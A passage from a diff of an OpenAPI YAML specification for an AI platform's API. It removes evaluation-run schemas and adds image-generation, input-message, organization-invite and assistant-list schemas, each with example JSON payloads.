+ Reference an input image by either URL or uploaded file ID.
+ Provide exactly one of `image_url` or `file_id`.
properties:
- object:
+ image_url:
type: string
- enum:
- - list
- default: list
- description: |
- The type of this object. It is always set to "list".
- x-stainless-const: true
+ format: uri
+ maxLength: 20971520
+ description: A fully qualified URL or base64-encoded data URL.
+ example: https://example.com/source-image.png
+ file_id:
+ type: string
+ description: The File API ID of an uploaded image to use as input.
+ example: file-abc123
+ anyOf:
+ - required:
+ - image_url
+ - required:
+ - file_id
+ not:
+ required:
+ - image_url
+ - file_id
+ additionalProperties: false
+ ImagesResponse:
+ type: object
+ title: Image generation response
+ description: The response from the image generation endpoint.
+ properties:
+ created:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the image was created.
data:
type: array
- description: |
- An array of eval objects.
+ description: The list of generated images.
items:
- $ref: '#/components/schemas/Eval'
- first_id:
+ $ref: '#/components/schemas/Image'
+ background:
type: string
- description: The identifier of the first eval in the data array.
- last_id:
+ description: The background parameter used for the image generation. Either `transparent` or `opaque`.
+ enum:
+ - transparent
+ - opaque
+ output_format:
type: string
- description: The identifier of the last eval in the data array.
- has_more:
- type: boolean
- description: Indicates whether there are more evals available.
- required:
- - object
- - data
- - first_id
- - last_id
- - has_more
- x-oaiMeta:
- name: The eval list object
- group: evals
- example: |
- {
- "object": "list",
- "data": [
- {
- "object": "eval",
- "id": "eval_67abd54d9b0081909a86353f6fb9317a",
- "data_source_config": {
- "type": "custom",
- "schema": {
- "type": "object",
- "properties": {
- "item": {
- "type": "object",
- "properties": {
- "input": {
- "type": "string"
- },
- "ground_truth": {
- "type": "string"
- }
- },
- "required": [
- "input",
- "ground_truth"
- ]
- }
- },
- "required": [
- "item"
- ]
- }
- },
- "testing_criteria": [
- {
- "name": "String check",
- "id": "String check-2eaf2d8d-d649-4335-8148-9535a7ca73c2",
- "type": "string_check",
- "input": "{{item.input}}",
- "reference": "{{item.ground_truth}}",
- "operation": "eq"
- }
- ],
- "name": "External Data Eval",
- "created_at": 1739314509,
- "metadata": {},
- }
- ],
- "first_id": "eval_67abd54d9b0081909a86353f6fb9317a",
- "last_id": "eval_67abd54d9b0081909a86353f6fb9317a",
- "has_more": true
- }
- EvalLogsDataSourceConfig:
- type: object
- title: LogsDataSourceConfig
- description: |
- A LogsDataSourceConfig which specifies the metadata property of your logs query.
- This is usually metadata like `usecase=chatbot` or `prompt-version=v2`, etc.
- The schema returned by this data source config is used to defined what variables are available in your evals.
- `item` and `sample` are both defined when using this data source config.
- properties:
- type:
+ description: The output format of the image generation. Either `png`, `webp`, or `jpeg`.
+ enum:
+ - png
+ - webp
+ - jpeg
+ size:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - 1024x1024
+ - 1024x1536
+ - 1536x1024
+ description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
+ quality:
type: string
+ description: The quality of the image generated. One of `low`, `medium`, `high`, `xhigh`, or `max`.
enum:
- - logs
- default: logs
- description: The type of data source. Always `logs`.
- x-stainless-const: true
- metadata:
- $ref: '#/components/schemas/Metadata'
- schema:
- type: object
- description: |
- The json schema for the run data source items.
- Learn how to build JSON schemas [here](https://json-schema.org/).
- additionalProperties: true
+ - low
+ - medium
+ - high
+ - xhigh
+ - max
+ usage:
+ $ref: '#/components/schemas/ImageGenUsage'
required:
- - type
- - schema
+ - created
x-oaiMeta:
- name: The logs data source object for evals
- group: evals
+ name: The image generation response
+ group: images
example: |
{
- "type": "logs",
- "metadata": {
- "language": "english"
- },
- "schema": {
- "type": "object",
- "properties": {
- "item": {
- "type": "object"
- },
- "sample": {
- "type": "object"
- }
- },
- "required": [
- "item",
- "sample"
+ "created": 1713833628,
+ "data": [
+ {
+ "b64_json": "..."
+ }
+ ],
+ "background": "transparent",
+ "output_format": "png",
+ "size": "1024x1024",
+ "quality": "high",
+ "usage": {
+ "total_tokens": 100,
+ "input_tokens": 50,
+ "output_tokens": 50,
+ "input_tokens_details": {
+ "text_tokens": 10,
+ "image_tokens": 40
}
+ }
}
- EvalResponsesSource:
+ ImagesUsage:
type: object
- title: EvalResponsesSource
description: |
- A EvalResponsesSource object describing a run data source configuration.
+ For the GPT image models only, the token usage information for the image generation.
+ required:
+ - total_tokens
+ - input_tokens
+ - output_tokens
+ - input_tokens_details
+ properties:
+ total_tokens:
+ type: integer
+ description: |
+ The total number of tokens (images and text) used for the image generation.
+ input_tokens:
+ type: integer
+ description: The number of tokens (images and text) in the input prompt.
+ output_tokens:
+ type: integer
+ description: The number of image tokens in the output image.
+ input_tokens_details:
+ type: object
+ description: The input tokens detailed information for the image generation.
+ required:
+ - text_tokens
+ - image_tokens
+ properties:
+ text_tokens:
+ type: integer
+ description: The number of text tokens in the input prompt.
+ image_tokens:
+ type: integer
+ description: The number of image tokens in the input prompt.
+ InputAudio:
+ type: object
+ title: Input audio
+ description: |
+ An audio input to the model.
properties:
type:
type: string
+ description: |
+ The type of the input item. Always `input_audio`.
enum:
- - responses
- description: The type of run data source. Always `responses`.
- metadata:
- anyOf:
- - type: object
- description: Metadata filter for the responses. This is a query parameter used to select responses.
- - type: 'null'
- model:
- anyOf:
- - type: string
- description: The name of the model to find responses for. This is a query parameter used to select responses.
- - type: 'null'
- instructions_search:
- anyOf:
- - type: string
- description: Optional string to search the 'instructions' field. This is a query parameter used to select responses.
- - type: 'null'
- created_after:
- anyOf:
- - type: integer
- minimum: 0
- description: Only include items created after this timestamp (inclusive). This is a query parameter used to select responses.
- - type: 'null'
- created_before:
- anyOf:
- - type: integer
- minimum: 0
- description: Only include items created before this timestamp (inclusive). This is a query parameter used to select responses.
- - type: 'null'
- reasoning_effort:
- anyOf:
- - $ref: '#/components/schemas/ReasoningEffort'
- description: Optional reasoning effort parameter. This is a query parameter used to select responses.
- - type: 'null'
- temperature:
- anyOf:
- - type: number
- description: Sampling temperature. This is a query parameter used to select responses.
- - type: 'null'
- top_p:
- anyOf:
- - type: number
- description: Nucleus sampling parameter. This is a query parameter used to select responses.
- - type: 'null'
- users:
- anyOf:
- - type: array
- items:
+ - input_audio
+ x-stainless-const: true
+ input_audio:
+ type: object
+ properties:
+ data:
type: string
- description: List of user identifiers. This is a query parameter used to select responses.
- - type: 'null'
- tools:
- anyOf:
- - type: array
- items:
+ description: |
+ Base64-encoded audio data.
+ format:
type: string
- description: List of tool names. This is a query parameter used to select responses.
- - type: 'null'
+ description: |
+ The format of the audio data. Currently supported formats are `mp3` and
+ `wav`.
+ enum:
+ - mp3
+ - wav
+ required:
+ - data
+ - format
required:
- type
- x-oaiMeta:
- name: The run data source object used to configure an individual run
- group: eval runs
- example: |
- {
- "type": "responses",
- "model": "gpt-6-astra",
- "users": ["user1", "user2"],
- "tools": ["tool1", "tool2"],
- "instructions_search": "You are a coding assistant"
- }
- EvalRun:
+ - input_audio
+ InputContent:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/InputTextContent'
+ - $ref: '#/components/schemas/InputImageContent'
+ - $ref: '#/components/schemas/InputFileContent'
+ InputItem:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/EasyInputMessage'
+ - type: object
+ title: Item
+ description: |
+ An item representing part of the context for the response to be
+ generated by the model. Can contain text, images, and audio inputs,
+ as well as previous assistant responses and tool call outputs.
+ $ref: '#/components/schemas/Item'
+ - $ref: '#/components/schemas/CompactionTriggerItemParam'
+ - $ref: '#/components/schemas/ItemReferenceParam'
+ - $ref: '#/components/schemas/ProgramItemParam'
+ - $ref: '#/components/schemas/ProgramOutputItemParam'
+ InputMessage:
type: object
- title: EvalRun
+ title: Input message
description: |
- A schema representing an evaluation run.
+ A message input to the model with a role indicating instruction following
+ hierarchy. Instructions given with the `developer` or `system` role take
+ precedence over instructions given with the `user` role.
properties:
- object:
+ type:
type: string
+ description: |
+ The type of the message input. Always set to `message`.
enum:
- - eval.run
- default: eval.run
- description: The type of the object. Always "eval.run".
+ - message
x-stainless-const: true
- id:
- type: string
- description: Unique identifier for the evaluation run.
- eval_id:
- type: string
- description: The identifier of the associated evaluation.
- status:
- type: string
- description: The status of the evaluation run.
- model:
- type: string
- description: The model that is evaluated, if applicable.
- name:
- type: string
- description: The name of the evaluation run.
- created_at:
- type: integer
- format: unixtime
- description: Unix timestamp (in seconds) when the evaluation run was created.
- report_url:
+ role:
type: string
- format: uri
- description: The URL to the rendered evaluation run report on the UI dashboard.
- result_counts:
- type: object
- description: Counters summarizing the outcomes of the evaluation run.
- properties:
- total:
- type: integer
- description: Total number of executed output items.
- errored:
- type: integer
- description: Number of output items that resulted in an error.
- failed:
- type: integer
- description: Number of output items that failed to pass the evaluation.
- passed:
- type: integer
- description: Number of output items that passed the evaluation.
- required:
- - total
- - errored
- - failed
- - passed
- per_model_usage:
- type: array
- description: Usage statistics for each model during the evaluation run.
- items:
- type: object
- properties:
- model_name:
- type: string
- description: The name of the model.
- x-stainless-naming:
- python:
- property_name: run_model_name
- invocation_count:
- type: integer
- description: The number of invocations.
- prompt_tokens:
- type: integer
- description: The number of prompt tokens used.
- completion_tokens:
- type: integer
- description: The number of completion tokens generated.
- total_tokens:
- type: integer
- description: The total number of tokens used.
- cached_tokens:
- type: integer
- description: The number of tokens retrieved from cache.
- required:
- - model_name
- - invocation_count
- - prompt_tokens
- - completion_tokens
- - total_tokens
- - cached_tokens
- per_testing_criteria_results:
- type: array
- description: Results per testing criteria applied during the evaluation run.
- items:
- type: object
- properties:
- testing_criteria:
- type: string
- description: A description of the testing criteria.
- passed:
- type: integer
- description: Number of tests passed for this criteria.
- failed:
- type: integer
- description: Number of tests failed for this criteria.
- required:
- - testing_criteria
- - passed
- - failed
- data_source:
- type: object
- description: Information about the run's data source.
- anyOf:
- - $ref: '#/components/schemas/CreateEvalJsonlRunDataSource'
- - $ref: '#/components/schemas/CreateEvalCompletionsRunDataSource'
- - $ref: '#/components/schemas/CreateEvalResponsesRunDataSource'
- discriminator:
- propertyName: type
- metadata:
- $ref: '#/components/schemas/Metadata'
- error:
- $ref: '#/components/schemas/EvalApiError'
- required:
- - object
- - id
- - eval_id
- - status
- - model
- - name
- - created_at
- - report_url
- - result_counts
- - per_model_usage
- - per_testing_criteria_results
- - data_source
- - metadata
- - error
- x-oaiMeta:
- name: The eval run object
- group: evals
- example: |
- {
- "object": "eval.run",
- "id": "evalrun_67e57965b480819094274e3a32235e4c",
- "eval_id": "eval_67e579652b548190aaa83ada4b125f47",
- "report_url": "https://platform.openai.com/evaluations/eval_67e579652b548190aaa83ada4b125f47?run_id=evalrun_67e57965b480819094274e3a32235e4c",
- "status": "queued",
- "model": "gpt-6-astra",
- "name": "gpt-6-astra",
- "created_at": 1743092069,
- "result_counts": {
- "total": 0,
- "errored": 0,
- "failed": 0,
- "passed": 0
- },
- "per_model_usage": null,
- "per_testing_criteria_results": null,
- "data_source": {
- "type": "completions",
- "source": {
- "type": "file_content",
- "content": [
- {
- "item": {
- "input": "Tech Company Launches Advanced Artificial Intelligence Platform",
- "ground_truth": "Technology"
- }
- },
- {
- "item": {
- "input": "Central Bank Increases Interest Rates Amid Inflation Concerns",
- "ground_truth": "Markets"
- }
- },
- {
- "item": {
- "input": "International Summit Addresses Climate Change Strategies",
- "ground_truth": "World"
- }
- },
- {
- "item": {
- "input": "Major Retailer Reports Record-Breaking Holiday Sales",
- "ground_truth": "Business"
- }
- },
- {
- "item": {
- "input": "National Team Qualifies for World Championship Finals",
- "ground_truth": "Sports"
- }
- },
- {
- "item": {
- "input": "Stock Markets Rally After Positive Economic Data Released",
- "ground_truth": "Markets"
- }
- },
- {
- "item": {
- "input": "Global Manufacturer Announces Merger with Competitor",
- "ground_truth": "Business"
- }
- },
- {
- "item": {
- "input": "Breakthrough in Renewable Energy Technology Unveiled",
- "ground_truth": "Technology"
- }
- },
- {
- "item": {
- "input": "World Leaders Sign Historic Climate Agreement",
- "ground_truth": "World"
- }
- },
- {
- "item": {
- "input": "Professional Athlete Sets New Record in Championship Event",
- "ground_truth": "Sports"
- }
- },
- {
- "item": {
- "input": "Financial Institutions Adapt to New Regulatory Requirements",
- "ground_truth": "Business"
- }
- },
- {
- "item": {
- "input": "Tech Conference Showcases Advances in Artificial Intelligence",
- "ground_truth": "Technology"
- }
- },
- {
- "item": {
- "input": "Global Markets Respond to Oil Price Fluctuations",
- "ground_truth": "Markets"
- }
- },
- {
- "item": {
- "input": "International Cooperation Strengthened Through New Treaty",
- "ground_truth": "World"
- }
- },
- {
- "item": {
- "input": "Sports League Announces Revised Schedule for Upcoming Season",
- "ground_truth": "Sports"
- }
- }
- ]
- },
- "input_messages": {
- "type": "template",
- "template": [
- {
- "type": "message",
- "role": "developer",
- "content": {
- "type": "input_text",
- "text": "Categorize a given news headline into one of the following topics: Technology, Markets, World, Business, or Sports.\n\n# Steps\n\n1. Analyze the content of the news headline to understand its primary focus.\n2. Extract the subject matter, identifying any key indicators or keywords.\n3. Use the identified indicators to determine the most suitable category out of the five options: Technology, Markets, World, Business, or Sports.\n4. Ensure only one category is selected per headline.\n\n# Output Format\n\nRespond with the chosen category as a single word. For instance: \"Technology\", \"Markets\", \"World\", \"Business\", or \"Sports\".\n\n# Examples\n\n**Input**: \"Apple Unveils New iPhone Model, Featuring Advanced AI Features\" \n**Output**: \"Technology\"\n\n**Input**: \"Global Stocks Mixed as Investors Await Central Bank Decisions\" \n**Output**: \"Markets\"\n\n**Input**: \"War in Ukraine: Latest Updates on Negotiation Status\" \n**Output**: \"World\"\n\n**Input**: \"Microsoft in Talks to Acquire Gaming Company for $2 Billion\" \n**Output**: \"Business\"\n\n**Input**: \"Manchester United Secures Win in Premier League Football Match\" \n**Output**: \"Sports\" \n\n# Notes\n\n- If the headline appears to fit into more than one category, choose the most dominant theme.\n- Keywords or phrases such as \"stocks\", \"company acquisition\", \"match\", or technological brands can be good indicators for classification.\n"
- }
- },
- {
- "type": "message",
- "role": "user",
- "content": {
- "type": "input_text",
- "text": "{{item.input}}"
- }
- }
- ]
- },
- "model": "gpt-6-astra",
- "sampling_params": {
- "max_completions_tokens": 2048
- }
- },
- "error": null,
- "metadata": {}
- }
- EvalRunList:
- type: object
- title: EvalRunList
+ description: |
+ The role of the message input. One of `user`, `system`, or `developer`.
+ enum:
+ - user
+ - system
+ - developer
+ status:
+ type: string
+ description: |
+ The status of item. One of `in_progress`, `completed`, or
+ `incomplete`. Populated when items are returned via API.
+ enum:
+ - in_progress
+ - completed
+ - incomplete
+ content:
+ $ref: '#/components/schemas/InputMessageContentList'
+ required:
+ - role
+ - content
+ InputMessageContentList:
+ type: array
+ title: Input item content list
+ description: "A list of one or many input items to the model, containing different content \ntypes.\n"
+ items:
+ $ref: '#/components/schemas/InputContent'
+ InputMessageResource:
+ allOf:
+ - $ref: '#/components/schemas/InputMessage'
+ - type: object
+ properties:
+ id:
+ type: string
+ description: |
+ The unique ID of the message input.
+ required:
+ - id
+ - type
+ InputParam:
description: |
- An object representing a list of runs for an evaluation.
+ Text, image, or file inputs to the model, used to generate a response.
+
+ Learn more:
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
+ anyOf:
+ - type: string
+ title: Text input
+ description: |
+ A text input to the model, equivalent to a text input with the
+ `user` role.
+ - type: array
+ title: Input item list
+ description: |
+ A list of one or many input items to the model, containing
+ different content types.
+ items:
+ $ref: '#/components/schemas/InputItem'
+ Invite:
+ type: object
+ description: Represents an individual `invite` to the organization.
properties:
object:
type: string
enum:
- - list
- default: list
- description: |
- The type of this object. It is always set to "list".
+ - organization.invite
+ description: The object type, which is always `organization.invite`
x-stainless-const: true
- data:
- type: array
- description: |
- An array of eval run objects.
- items:
- $ref: '#/components/schemas/EvalRun'
- first_id:
+ id:
type: string
- description: The identifier of the first eval run in the data array.
- last_id:
+ description: The identifier, which can be referenced in API endpoints
+ email:
type: string
- description: The identifier of the last eval run in the data array.
- has_more:
- type: boolean
- description: Indicates whether there are more evals available.
+ description: The email address of the individual to whom the invite was sent
+ role:
+ type: string
+ enum:
+ - owner
+ - reader
+ description: '`owner` or `reader`'
+ status:
+ type: string
+ enum:
+ - accepted
+ - expired
+ - pending
+ description: '`accepted`,`expired`, or `pending`'
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) of when the invite was sent.
+ expires_at:
+ anyOf:
+ - type: integer
+ format: unixtime
+ - type: 'null'
+ description: The Unix timestamp (in seconds) of when the invite expires.
+ accepted_at:
+ anyOf:
+ - type: integer
+ format: unixtime
+ - type: 'null'
+ description: The Unix timestamp (in seconds) of when the invite was accepted.
+ projects:
+ type: array
+ description: The projects that were granted membership upon acceptance of the invite.
+ items:
+ type: object
+ properties:
+ id:
+ type: string
+ description: Project's public ID
+ role:
+ type: string
+ enum:
+ - member
+ - owner
+ description: Project membership role
+ required:
+ - id
+ - role
required:
- object
- - data
- - first_id
- - last_id
- - has_more
+ - id
+ - email
+ - role
+ - status
+ - created_at
+ - projects
x-oaiMeta:
- name: The eval run list object
- group: evals
+ name: The invite object
example: |
{
- "object": "list",
- "data": [
+ "object": "organization.invite",
+ "id": "invite-abc",
+ "email": "user@example.com",
+ "role": "owner",
+ "status": "accepted",
+ "created_at": 1711471533,
+ "expires_at": 1711471533,
+ "accepted_at": 1711471533,
+ "projects": [
{
- "object": "eval.run",
- "id": "evalrun_67b7fbdad46c819092f6fe7a14189620",
- "eval_id": "eval_67b7fa9a81a88190ab4aa417e397ea21",
- "report_url": "https://platform.openai.com/evaluations/eval_67b7fa9a81a88190ab4aa417e397ea21?run_id=evalrun_67b7fbdad46c819092f6fe7a14189620",
- "status": "completed",
- "model": "o3-mini",
- "name": "Academic Assistant",
- "created_at": 1740110812,
- "result_counts": {
- "total": 171,
- "errored": 0,
- "failed": 80,
- "passed": 91
- },
- "per_model_usage": null,
- "per_testing_criteria_results": [
- {
- "testing_criteria": "String check grader",
- "passed": 91,
- "failed": 80
- }
- ],
- "run_data_source": {
- "type": "completions",
- "template_messages": [
- {
- "type": "message",
- "role": "system",
- "content": {
- "type": "input_text",
- "text": "You are a helpful assistant."
- }
- },
- {
- "type": "message",
- "role": "user",
- "content": {
- "type": "input_text",
- "text": "Hello, can you help me with my homework?"
- }
- }
- ],
- "datasource_reference": null,
- "model": "o3-mini",
- "max_completion_tokens": null,
- "seed": null,
- "temperature": null,
- "top_p": null
- },
- "error": null,
- "metadata": {"test": "synthetics"}
+ "id": "project-xyz",
+ "role": "member"
}
- ],
- "first_id": "evalrun_67abd54d60ec8190832b46859da808f7",
- "last_id": "evalrun_67abd54d60ec8190832b46859da808f7",
- "has_more": false
+ ]
}
- EvalRunOutputItem:
+ InviteDeleteResponse:
type: object
- title: EvalRunOutputItem
- description: |
- A schema representing an evaluation run output item.
properties:
object:
type: string
enum:
- - eval.run.output_item
- default: eval.run.output_item
- description: The type of the object. Always "eval.run.output_item".
+ - organization.invite.deleted
+ description: The object type, which is always `organization.invite.deleted`
x-stainless-const: true
id:
type: string
- description: Unique identifier for the evaluation run output item.
- run_id:
- type: string
- description: The identifier of the evaluation run associated with this output item.
- eval_id:
- type: string
- description: The identifier of the evaluation group.
- created_at:
- type: integer
- format: unixtime
- description: Unix timestamp (in seconds) when the evaluation run was created.
- status:
+ deleted:
+ type: boolean
+ required:
+ - object
+ - id
+ - deleted
+ InviteListResponse:
+ type: object
+ properties:
+ object:
type: string
- description: The status of the evaluation run.
- datasource_item_id:
- type: integer
- description: The identifier for the data source item.
- datasource_item:
- type: object
- description: Details of the input data source item.
- additionalProperties: true
- results:
+ enum:
+ - list
+ description: The object type, which is always `list`
+ x-stainless-const: true
+ data:
type: array
- description: A list of grader results for this output item.
items:
- $ref: '#/components/schemas/EvalRunOutputItemResult'
- sample:
- type: object
- description: A sample containing the input and output of the evaluation run.
- properties:
- input:
- type: array
- description: An array of input messages.
- items:
- type: object
- description: An input message.
- properties:
- role:
- type: string
- description: The role of the message sender (e.g., system, user, developer).
- content:
- type: string
- description: The content of the message.
- required:
- - role
- - content
- output:
- type: array
- description: An array of output messages.
- items:
- type: object
- properties:
- role:
- type: string
- description: The role of the message (e.g. "system", "assistant", "user").
- content:
- type: string
- description: The content of the message.
- finish_reason:
- type: string
- description: The reason why the sample generation was finished.
- model:
- type: string
- description: The model used for generating the sample.
- usage:
- type: object
- description: Token usage details for the sample.
- properties:
- total_tokens:
- type: integer
- description: The total number of tokens used.
- completion_tokens:
- type: integer
- description: The number of completion tokens generated.
- prompt_tokens:
- type: integer
- description: The number of prompt tokens used.
- cached_tokens:
- type: integer
- description: The number of tokens retrieved from cache.
- required:
- - total_tokens
- - completion_tokens
- - prompt_tokens
- - cached_tokens
- error:
- $ref: '#/components/schemas/EvalApiError'
- temperature:
- type: number
- description: The sampling temperature used.
- max_completion_tokens:
- type: integer
- description: The maximum number of tokens allowed for completion.
- top_p:
- type: number
- description: The top_p value used for sampling.
- seed:
- type: integer
- description: The seed used for generating the sample.
- required:
- - input
- - output
- - finish_reason
- - model
- - usage
- - error
- - temperature
- - max_completion_tokens
- - top_p
- - seed
+ $ref: '#/components/schemas/Invite'
+ first_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: The first `invite_id` in the retrieved `list`
+ last_id:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: The last `invite_id` in the retrieved `list`
+ has_more:
+ type: boolean
+ description: The `has_more` property is used for pagination to indicate there are additional results.
required:
- object
- - id
- - run_id
- - eval_id
- - created_at
- - status
- - datasource_item_id
- - datasource_item
- - results
- - sample
+ - data
+ - has_more
+ InviteProjectGroupBody:
+ type: object
+ description: Request payload for granting a group access to a project.
+ properties:
+ group_id:
+ type: string
+ description: Identifier of the group to add to the project.
+ role:
+ type: string
+ description: Identifier of the project role to grant to the group.
+ required:
+ - group_id
+ - role
x-oaiMeta:
- name: The eval run output item object
- group: evals
example: |
{
- "object": "eval.run.output_item",
- "id": "outputitem_67abd55eb6548190bb580745d5644a33",
- "run_id": "evalrun_67abd54d60ec8190832b46859da808f7",
- "eval_id": "eval_67abd54d9b0081909a86353f6fb9317a",
- "created_at": 1739314509,
- "status": "pass",
- "datasource_item_id": 137,
- "datasource_item": {
- "teacher": "To grade essays, I only check for style, content, and grammar.",
- "student": "I am a student who is trying to write the best essay."
- },
- "results": [
- {
- "name": "String Check Grader",
- "type": "string-check-grader",
- "score": 1.0,
- "passed": true,
- }
- ],
- "sample": {
- "input": [
- {
- "role": "system",
- "content": "You are an evaluator bot..."
- },
- {
- "role": "user",
- "content": "You are assessing..."
- }
- ],
- "output": [
- {
- "role": "assistant",
- "content": "The rubric is not clear nor concise."
- }
- ],
- "finish_reason": "stop",
- "model": "gpt-6-astra",
- "usage": {
- "total_tokens": 521,
- "completion_tokens": 2,
- "prompt_tokens": 519,
- "cached_tokens": 0
- },
- "error": null,
- "temperature": 1.0,
- "max_completion_tokens": 2048,
- "top_p": 1.0,
- "seed": 42
- }
+ "group_id": "group_01J1F8ABCDXYZ",
+ "role": "role_01J1F8PROJ"
}
- EvalRunOutputItemList:
+ InviteRequest:
+ type: object
+ properties:
+ email:
+ type: string
+ description: Send an email to this address
+ role:
+ type: string
+ enum:
+ - reader
+ - owner
+ description: '`owner` or `reader`'
+ projects:
+ type: array
+ description: An array of projects to which membership is granted at the same time the org invite is accepted. If omitted, the user will be invited to the default project for compatibility with legacy behavior. If empty list is passed, the user will not be invited to any projects, including the default one.
+ items:
+ type: object
+ properties:
+ id:
+ type: string
+ description: Project's public ID
+ role:
+ type: string
+ enum:
+ - member
+ - owner
+ description: Project membership role
+ required:
+ - id
+ - role
+ required:
+ - email
+ - role
+ Item:
+ type: object
+ description: |
+ Content item used to generate a response.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/InputMessage'
+ - $ref: '#/components/schemas/OutputMessage'
+ - $ref: '#/components/schemas/FileSearchToolCall'
+ - $ref: '#/components/schemas/ComputerToolCall'
+ - $ref: '#/components/schemas/ComputerCallOutputItemParam'
+ - $ref: '#/components/schemas/WebSearchToolCall'
+ - $ref: '#/components/schemas/FunctionToolCall'
+ - $ref: '#/components/schemas/FunctionCallOutputItemParam'
+ - $ref: '#/components/schemas/ToolSearchCallItemParam'
+ - $ref: '#/components/schemas/ToolSearchOutputItemParam'
+ - $ref: '#/components/schemas/AdditionalToolsItemParam'
+ - $ref: '#/components/schemas/ResponseConfigurationUpdateItemParam'
+ - $ref: '#/components/schemas/ReasoningItem'
+ - $ref: '#/components/schemas/CompactionSummaryItemParam'
+ - $ref: '#/components/schemas/ImageGenToolCall'
+ - $ref: '#/components/schemas/CodeInterpreterToolCall'
+ - $ref: '#/components/schemas/LocalShellToolCall'
+ - $ref: '#/components/schemas/LocalShellToolCallOutput'
+ - $ref: '#/components/schemas/FunctionShellCallItemParam'
+ - $ref: '#/components/schemas/FunctionShellCallOutputItemParam'
+ - $ref: '#/components/schemas/ApplyPatchToolCallItemParam'
+ - $ref: '#/components/schemas/ApplyPatchToolCallOutputItemParam'
+ - $ref: '#/components/schemas/MCPListTools'
+ - $ref: '#/components/schemas/MCPApprovalRequest'
+ - $ref: '#/components/schemas/MCPApprovalResponse'
+ - $ref: '#/components/schemas/MCPToolCall'
+ - $ref: '#/components/schemas/CustomToolCallOutput'
+ - $ref: '#/components/schemas/CustomToolCall'
+ ItemResource:
+ description: |
+ Content item used to generate a response.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/InputMessageResource'
+ - $ref: '#/components/schemas/OutputMessage'
+ - $ref: '#/components/schemas/FileSearchToolCall'
+ - $ref: '#/components/schemas/ComputerToolCall'
+ - $ref: '#/components/schemas/ComputerToolCallOutputResource'
+ - $ref: '#/components/schemas/WebSearchToolCall'
+ - $ref: '#/components/schemas/FunctionToolCallResource'
+ - $ref: '#/components/schemas/FunctionToolCallOutputResource'
+ - $ref: '#/components/schemas/ToolSearchCall'
+ - $ref: '#/components/schemas/ToolSearchOutput'
+ - $ref: '#/components/schemas/AdditionalTools'
+ - $ref: '#/components/schemas/ResponseConfigurationUpdate'
+ - $ref: '#/components/schemas/ReasoningItem'
+ - $ref: '#/components/schemas/Program'
+ - $ref: '#/components/schemas/ProgramOutput'
+ - $ref: '#/components/schemas/CompactionBody'
+ - $ref: '#/components/schemas/ImageGenToolCall'
+ - $ref: '#/components/schemas/CodeInterpreterToolCall'
+ - $ref: '#/components/schemas/LocalShellToolCall'
+ - $ref: '#/components/schemas/LocalShellToolCallOutput'
+ - $ref: '#/components/schemas/FunctionShellCall'
+ - $ref: '#/components/schemas/FunctionShellCallOutput'
+ - $ref: '#/components/schemas/ApplyPatchToolCall'
+ - $ref: '#/components/schemas/ApplyPatchToolCallOutput'
+ - $ref: '#/components/schemas/MCPListTools'
+ - $ref: '#/components/schemas/MCPApprovalRequest'
+ - $ref: '#/components/schemas/MCPApprovalResponseResource'
+ - $ref: '#/components/schemas/MCPToolCall'
+ - $ref: '#/components/schemas/CustomToolCallResource'
+ - $ref: '#/components/schemas/CustomToolCallOutputResource'
+ ListAssistantsResponse:
type: object
- title: EvalRunOutputItemList
- description: |
- An object representing a list of output items for an evaluation run.
properties:
object:
type: string
- enum:
- - list
- default: list
- description: |
- The type of this object. It is always set to "list".
- x-stainless-const: true
+ example: list
data:
type: array
- description: |
- An array of eval run output item objects.
items:
- $ref: '#/components/schemas/EvalRunOutputItem'
+ $ref: '#/components/schemas/AssistantObject'
first_id:
type: string
- description: The identifier of the first eval run output item in the data array.
+ example: asst_abc123
last_id:
type: string
- description: The identifier of the last eval run output item in the data array.
+ example: asst_abc456
has_more:
type: boolean
- description: Indicates whether there are more eval run output items available.
+ example: false
required:
- object
- data
@@ -37250,2813 +43490,2862 @@ components:
- last_id
- has_more
x-oaiMeta:
- name: The eval run output item list object
- group: evals
+ name: List assistants response object
+ group: chat
example: |
{
"object": "list",
"data": [
{
- "object": "eval.run.output_item",
- "id": "outputitem_67abd55eb6548190bb580745d5644a33",
- "run_id": "evalrun_67abd54d60ec8190832b46859da808f7",
- "eval_id": "eval_67abd54d9b0081909a86353f6fb9317a",
- "created_at": 1739314509,
- "status": "pass",
- "datasource_item_id": 137,
- "datasource_item": {
- "teacher": "To grade essays, I only check for style, content, and grammar.",
- "student": "I am a student who is trying to write the best essay."
- },
- "results": [
- {
- "name": "String Check Grader",
- "type": "string-check-grader",
- "score": 1.0,
- "passed": true,
- }
- ],
- "sample": {
- "input": [
- {
- "role": "system",
- "content": "You are an evaluator bot..."
- },
- {
- "role": "user",
- "content": "You are assessing..."
- }
- ],
- "output": [
- {
- "role": "assistant",
- "content": "The rubric is not clear nor concise."
- }
- ],
- "finish_reason": "stop",
- "model": "gpt-6-astra",
- "usage": {
- "total_tokens": 521,
- "completion_tokens": 2,
- "prompt_tokens": 519,
- "cached_tokens": 0
- },
- "error": null,
- "temperature": 1.0,
- "max_completion_tokens": 2048,
- "top_p": 1.0,
- "seed": 42
- }
+ "id": "asst_abc123",
+ "object": "assistant",
+ "created_at": 1698982736,
+ "name": "Coding Tutor",
+ "description": null,
+ "model": "gpt-5",
+ "instructions": "You are a helpful assistant designed to make me better at coding!",
+ "tools": [],
+ "tool_resources": {},
+ "metadata": {},
+ "top_p": 1.0,
+ "temperature": 1.0,
+ "response_format": "auto"
+ },
+ {
+ "id": "asst_abc456",
+ "object": "assistant",
+ "created_at": 1698982718,
+ "name": "My Assistant",
+ "description": null,
+ "model": "gpt-5",
+ "instructions": "You are a helpful assistant designed to make me better at coding!",
